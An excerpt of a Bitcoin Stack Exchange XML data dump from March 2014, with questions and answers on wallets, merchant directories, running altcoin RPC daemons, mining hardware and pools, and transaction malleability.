  <row Id="22906" PostTypeId="2" ParentId="22898" CreationDate="2014-03-02T07:56:02.220" Score="3" Body="&lt;p&gt;It isn't possible with the current version of Bitcoind, Bitcoin-QT is simply a GUI wrapper for Bitcoind so same applies for both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a wallet that doesn't download the full blockchain go with a thin wallet like &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;. It does download block heards but that takes seconds. If you want to accomplish your project programmatically, consider the many libraries, such as &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;Bitcoinj&lt;/a&gt;, &lt;a href=&quot;http://libbitcoin.dyne.org/&quot; rel=&quot;nofollow&quot;&gt;Libbitcoin&lt;/a&gt;, and many others.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-02T07:56:02.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22907" PostTypeId="2" ParentId="2089" CreationDate="2014-03-02T08:10:10.153" Score="3" Body="&lt;p&gt;There are so many places A quick google search will yield many results But other than the main list on the wiki i think the following directories seemed pretty populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;'Official Lists'&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aExchanges&quot; rel=&quot;nofollow&quot;&gt;Exchanges&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aDirectories&quot; rel=&quot;nofollow&quot;&gt;Local Directories&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aMarketing&quot; rel=&quot;nofollow&quot;&gt;Marketing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;Online &amp;amp; Real Business&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aGames&quot; rel=&quot;nofollow&quot;&gt;Games &amp;amp; Gambling&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Real_world_shops&quot; rel=&quot;nofollow&quot;&gt;Real World Shops map overlay&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Donation-accepting_organizations_and_projects&quot; rel=&quot;nofollow&quot;&gt;Donation Accepting Sites&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Articles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.shopify.co.uk/blog/10480345-75-places-to-spend-your-bitcoins&quot; rel=&quot;nofollow&quot;&gt;75 Places to Spend your Bitcoins&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.bitcointrading.com/forum/spend-bitcoins/online-stores-accepting-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;Online Stores Accepting Bitcoin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.telegraph.co.uk/technology/news/10558191/Ten-places-where-you-can-spend-your-bitcoins-in-the-UK.html&quot; rel=&quot;nofollow&quot;&gt;10 Places to spend Bitcooin in the UK (Telegraph)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.nasdaq.com/article/what-companies-accept-bitcoin-cm323438&quot; rel=&quot;nofollow&quot;&gt;NASDAQ - What Companies Accept Bitcoin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/sites/clareoconnor/2014/02/17/how-to-use-bitcoin-to-shop-at-amazon-home-depot-cvs-and-more/&quot; rel=&quot;nofollow&quot;&gt;FORBES - How to Use bitcoin to shop at Amazon, Home Depot, CVS and More&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.theguardian.com/technology/2013/nov/25/where-can-you-use-bitcoins-brief-guide&quot; rel=&quot;nofollow&quot;&gt;The Guardian - Where can you spend Bitcoins&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.hongkiat.com/blog/places-to-spend-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;HONGKIAT - 20 Places to Spend Bitcoin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Directories&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitpay.com/directory#/&quot; rel=&quot;nofollow&quot;&gt;BitPay Business Directory&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://coinmap.org/&quot; rel=&quot;nofollow&quot;&gt;World Map Depicting Locations of Bitcoin Business&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcoinaware.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Aware, Directory with some news Feeds&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.teambitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;Team Bitcoin, Directory of educations resources, exchanges and merchants&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://spendbitcoins.com/places/&quot; rel=&quot;nofollow&quot;&gt;Spend Bitcoin - Directory with site reviews along side listings &lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.thebitcoinreview.com/&quot; rel=&quot;nofollow&quot;&gt;The Bitcoin Review - Another directory including reviews of listings&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.thebitcoinlist.com/&quot; rel=&quot;nofollow&quot;&gt;The Bitcoin List - A Categorized Directory Index&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcoinsource.net/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Source - A fairly comprehensive directory of all things bitcoin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcoin-directory.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Directory - A Still somewhat sparse Directory&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.shops4bitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;Shops4Bitcoin - Nothing Listed yet, but potentially a good future resource&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://btcpages.com/&quot; rel=&quot;nofollow&quot;&gt;BTC Pages - A Clean designed directory with a reasonable number of listings&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://coinmade.org/&quot; rel=&quot;nofollow&quot;&gt;Coin Made - Another fairly well populated directory &lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://yellowcoins.com/bitcoin/Merchants/&quot; rel=&quot;nofollow&quot;&gt;Yellow Coins - Not many listings here yet&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcoindir.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoin dir - some good listings still could be more populated&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cryptostocks, IPO's, Profit Shares, and Equities&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://cryptostocks.com/&quot; rel=&quot;nofollow&quot;&gt;CryptoStocks - A good all round offering of stocks etc available in the crypto Market place&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.havelockinvestments.com/&quot; rel=&quot;nofollow&quot;&gt;Havelock Investments - A reputable listing of IPO's available for Crypto, with stringent controls for registering an IPO etc&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoinbourse.eu/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Bourse - A Bitcoin Exchange (currently 05/03/2013) offering some stocks on thier trading system as well as Crypto Trading&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://crypto-trade.com/&quot; rel=&quot;nofollow&quot;&gt;Crypto-Trade - Although Recently they seem to have had some kind of security Breach they do offer a variety of securities for Trade&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://btcjam.com&quot; rel=&quot;nofollow&quot;&gt;P2P Bitcoin Loans&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some Places I spend My Bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://scan.co.uk&quot; rel=&quot;nofollow&quot;&gt;Scan.co.uk - UK based computer hardware Retailer&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.takeaway.com/&quot; rel=&quot;nofollow&quot;&gt;Takeaway.com - Order Takeaway for Bitcoin (not all restaurants accept all BTC)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.bitcoinstore.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Store - A good all round store US based so a killer on import Duty and Delivery was a little slow last time I ordered.  But shier customer Service was excellent&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="13963" LastEditDate="2014-03-05T01:24:06.447" LastActivityDate="2014-03-05T01:24:06.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22909" PostTypeId="2" ParentId="2089" CreationDate="2014-03-02T08:57:34.203" Score="1" Body="&lt;p&gt;Check &lt;a href=&quot;http://coinmap.org&quot; rel=&quot;nofollow&quot;&gt;http://coinmap.org&lt;/a&gt; this may be of help for you &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-02T08:57:34.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22912" PostTypeId="2" ParentId="21110" CreationDate="2014-03-02T10:03:53.640" Score="0" Body="&lt;p&gt;Use console. Then &quot;importprivkey &lt;em&gt;yourprivatekey&lt;/em&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="13993" LastActivityDate="2014-03-02T10:03:53.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22914" PostTypeId="1" AcceptedAnswerId="22917" CreationDate="2014-03-02T10:35:56.093" Score="1" ViewCount="1149" Body="&lt;p&gt;I'm building an ecommerce website where I want to do my own payment processing in seven different ctyptocurrencies. I want use the separate versions of bitcoind for each currency, because I feel like that's the most straightforward way to do it (unless I'm wrong). I've even come up with some dog simple interface code to use once I get them all running!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've compiled each one, and I've got my rpc config files ready and raring to go, but whenever I start one of the rpc servers... it doesn't exit to the command line. It either just sits there, or depending on whether or not I'm printing to the console, it tells me everything that's happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hit cntrl+c, it exits to the command line, without stopping the daemon, which is what I want, but I can't seem to figure out how to write a script that will start all of the different rpc servers at once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to be missing something stupidly basic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked everywhere on this stack exchange, and have not been able to find a solution to this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HELP!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your time and attention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm attempting to do this from the Linux command line with the standard compile parameters.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastEditorUserId="5406" LastEditDate="2018-06-22T16:54:35.837" LastActivityDate="2018-06-22T16:54:35.837" Title="How to start multiple altcoin rpc daemons at once?" Tags="|bitcoind|altcoin|" AnswerCount="2" CommentCount="0" ClosedDate="2020-05-06T08:13:10.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="22915" PostTypeId="2" ParentId="22914" CreationDate="2014-03-02T10:37:59.097" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;in seven different ctyptocurrencies&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not a good idea. Trust me. Bitcoin is enough, and for that you don't need any daemons. Bitpay or blockchain.info can handle it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, here is what I do to start Litecoin daemon:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;C:\Program Files (x86)\Litecoin\litecoin-qt.exe&quot; -server -rpcallowip=127.0.0.1 -rpcuser=user -rpcpassword=password -rpcport=1488&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13993" LastActivityDate="2014-03-02T10:37:59.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22916" PostTypeId="2" ParentId="1433" CreationDate="2014-03-02T12:55:59.073" Score="11" Body="&lt;p&gt;There are several options for Mining Bitcoins some of these are no longer profitable, but for the sake of being thorough here they are in order of efficiency lowest to highest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Methods&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU Mining (minerd)&lt;/li&gt;&#xA;&lt;li&gt;GPU Mining (cgminer, bfgminer)&lt;/li&gt;&#xA;&lt;li&gt;FPGA Mining (Custom software - &lt;a href=&quot;https://github.com/fpgaminer/Open-Source-FPGA-Bitcoin-Miner&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/fpgaminer/Open-Source-FPGA-Bitcoin-Miner&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;ASIC Mining (cgminer, bfgminer, also some custom software that ships with various ASIC's)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Currently the most efficient method is to use ASIC miners as with the difficulty always increasing, it becomes harder and harder to gain returns on lower spec hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some Example Hardware Setups&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GPU - &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_rig&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Mining_rig&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hardware Comparison - &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_rig&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Mining_rig&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ASIS's:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Avalon - &lt;a href=&quot;http://avalon-asics.com/&quot; rel=&quot;noreferrer&quot;&gt;http://avalon-asics.com/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Bit Fury - &lt;a href=&quot;http://www.bitfurystrikesback.com/&quot; rel=&quot;noreferrer&quot;&gt;http://www.bitfurystrikesback.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- KNC - &lt;a href=&quot;https://www.kncminer.com/&quot; rel=&quot;noreferrer&quot;&gt;https://www.kncminer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- CoinTerra - &lt;a href=&quot;http://cointerra.com/&quot; rel=&quot;noreferrer&quot;&gt;http://cointerra.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Butterfly Labs - &lt;a href=&quot;http://www.butterflylabs.com/&quot; rel=&quot;noreferrer&quot;&gt;http://www.butterflylabs.com/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most ASICS work out the box and have built in web interfaces to control and monitor the   hashing of the device, where as other forms of mining normally require a bit getting down and dirty in the command line.  Also as its mostly ineffective to mine in any other way this is generally the way most people choose to go although there is normally a high barrier to entry due to the high cost of entry e.g. the new Cointerra TerraMiner can achieve 2TH/s and is priced at USD $5,999 making it an expensive device to purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Monitoring&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When mining you want to ensure maximum possible up time as whenever you have hardware not hashing you are loosing money, So its pretty important to setup some kind of monitoring for your devices.  Some mining software comes with this built in however there are also some other options out there.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CGWatcher - &lt;a href=&quot;http://manotechnology.blogspot.co.uk/p/cgwatcher.html&quot; rel=&quot;noreferrer&quot;&gt;http://manotechnology.blogspot.co.uk/p/cgwatcher.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;CGRemote (Donation Only) - &lt;a href=&quot;http://manotechnology.blogspot.co.uk/p/cgremote.html&quot; rel=&quot;noreferrer&quot;&gt;http://manotechnology.blogspot.co.uk/p/cgremote.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Miner.php (cgminer builtin) -&lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/master/miner.php&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/ckolivas/cgminer/blob/master/miner.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;MinePeon (Dedicated Mining OS with Web Interface) - &lt;a href=&quot;http://mineforeman.com/minepeon/&quot; rel=&quot;noreferrer&quot;&gt;http://mineforeman.com/minepeon/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Anubis (CGMiner Web Front End) - &lt;a href=&quot;https://github.com/pshep/ANUBIS&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/pshep/ANUBIS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pools / Stratum Proxy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Final piece in the puzzle is the pool, now obviously you can choose one of the many pools already out there or you can run your own pool.  Running your own pool can be a daunting task for beginners, but it is well worthwhile with the knowledge you learn while building and maintaining it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Build Your Own Pool:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;P2Pool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;a href=&quot;https://p2pool.org/&quot; rel=&quot;noreferrer&quot;&gt;https://p2pool.org/&lt;/a&gt;‎&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/P2Pool&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;a href=&quot;https://github.com/forrestv/p2pool&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/forrestv/p2pool&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Complete P2Pool setup Guide (MERGED MINING) - &lt;a href=&quot;https://bitcointalk.org/index.php?topic=62842.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=62842.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Maximizing P2Pool Efficency -  &lt;a href=&quot;https://bitcointalk.org/index.php?topic=153232.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=153232.0&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;-Eloi Pool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;a href=&quot;https://bitcointalk.org/index.php?topic=158105.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=158105.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;a href=&quot;https://github.com/ZeroASIC/eloipool-server&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/ZeroASIC/eloipool-server&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stratum Proxy - &lt;a href=&quot;http://mining.bitcoin.cz/mining-proxy-howto&quot; rel=&quot;noreferrer&quot;&gt;http://mining.bitcoin.cz/mining-proxy-howto&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Some of My Favorite Pools&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.multipool.us/&quot; rel=&quot;noreferrer&quot;&gt;https://www.multipool.us/&lt;/a&gt; -  Automatically Mines the most profitable SHA-256 and or scrypt coin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ghash.io/&quot; rel=&quot;noreferrer&quot;&gt;https://ghash.io/&lt;/a&gt; - This is the mining pool backend for cex.io and they offer merged mining with Namecoin, Devcoin, Ixcoin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://hashco.ws/&quot; rel=&quot;noreferrer&quot;&gt;https://hashco.ws/&lt;/a&gt; - Like multipool but offer ability to recieve all payout in BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I Hope this very brief overview of mining helps you get started :)&lt;/p&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="13963" LastEditDate="2014-03-02T13:01:10.087" LastActivityDate="2014-03-02T13:01:10.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22917" PostTypeId="2" ParentId="22914" CreationDate="2014-03-02T13:25:51.623" Score="0" Body="&lt;p&gt;You need to change your conf file to include&lt;/p&gt;&#xA;&#xA;&lt;p&gt;server=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;daemon=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can also pass these in at the command line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see these on the Wiki&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-02T13:25:51.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22918" PostTypeId="1" CreationDate="2014-03-02T14:01:48.763" Score="6" ViewCount="751" Body="&lt;p&gt;With the upcoming release of Bitcoin Core 0.9, I am wondering how the transaction malleability issue is being fixed and what are the consequences of the fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that transaction malleability is causing a few problems for the Bitcoin network:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The network is DDoSed by multiple apparent double-spends being relayed&lt;/li&gt;&#xA;&lt;li&gt;Senders of the transactions need to avoid spending 0 confirmation transactions in case they become invalidated by malleability&lt;/li&gt;&#xA;&lt;li&gt;When saving TxIDs of spent transaction for record keeping one has to make sure the TxID did not get changed later&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Will all of those issues be addressed in the upcoming update, and if so, how will they be addressed?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-03-15T14:02:35.433" LastActivityDate="2014-03-15T14:02:35.433" Title="How is the transaction malleability issue being fixed?" Tags="|transactions|bitcoin-core|transaction-malleability|protocol|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22919" PostTypeId="2" ParentId="14245" CreationDate="2014-03-02T14:26:18.440" Score="2" Body="&lt;p&gt;It is possible that you found a block, but it got orphaned. Another miner may have found a block around the same time, and for whatever reason, the next miner to find a block chose to link to theirs instead of yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens a lot on testnet because of a special rule that if no block is found for 20 minutes, the difficulty drops temporarily to 1. When this happens, typically lots of people find blocks right away, and it's a toss up which one is used by the next miner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could inspect debug.log if you want to know exactly what happened.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-03-02T14:26:18.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22921" PostTypeId="2" ParentId="22918" CreationDate="2014-03-02T15:37:34.250" Score="3" Body="&lt;p&gt;Transaction malleability is a consequence of the features of Bitcoin. The input data (scriptSig) for claiming outputs is purposely malleable to allow for useful scenarios where one would want to claim outputs in different ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consequence of these features is that the hash of the transaction changes and shouldn't be considered as a useful piece of information other than referencing outputs of transactions that have been confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that being said, I'm not sure what changes the client could implement to prevent the hash from changing. Perhaps it can enforce specific rules, like &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3025&quot; rel=&quot;nofollow&quot;&gt;making non-canonical data pushes non standard&lt;/a&gt;, however that may interfere with later extensions to Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-03-02T16:01:06.097" LastActivityDate="2014-03-02T16:01:06.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22923" PostTypeId="2" ParentId="22896" CreationDate="2014-03-02T17:02:23.273" Score="1" Body="&lt;p&gt;Some mining programs (designed for use with mining pools) will mine on behalf of the mining software developer for a short time, before switching to the actual user account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've only seen this once and I don't even remember which coin it was for, so I don't know how widespread it is.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-02T17:02:23.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22925" PostTypeId="1" AcceptedAnswerId="22931" CreationDate="2014-03-02T18:23:25.537" Score="4" ViewCount="1478" Body="&lt;p&gt;If the Bitcoin algorithm was broken and someone started spitting out blocks one after the other through their otherworldly space computer, could it be detected that the same miner was busting all the blocks? Follow-up question: How does the network strength or hashing power get computed? By just assuming the required H/s for the current technology?&lt;/p&gt;&#xA;" OwnerUserId="12180" LastEditorUserId="12180" LastEditDate="2016-03-15T16:52:25.977" LastActivityDate="2016-03-15T16:52:25.977" Title="How to tell who mined a bitcoin?" Tags="|blockchain|security|network|hashpower|mining-technical-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22926" PostTypeId="1" CreationDate="2014-03-02T18:37:28.110" Score="0" ViewCount="171" Body="&lt;p&gt;I ran the Mavericks update today, putting me at 10.9.2 and now my Bitcoin-Qt stops responding after it notifies me that it is &quot;verifying blocks&quot;. I am using it for ongoing research and am in a bad spot now. I realize I should have thought about the possible ramifications of running the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any rate, is anyone able to get it to run? I've tried running it from the .dmg via the gui and via command line. I get the same results in both cases. As soon as it goes to verify blocks, it stops responding.&lt;/p&gt;&#xA;" OwnerUserId="14069" LastActivityDate="2016-06-10T06:54:42.810" Title="Anyone able to run Bitcoin-Qt 0.8.6 on Mac OSX 10.9.2?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
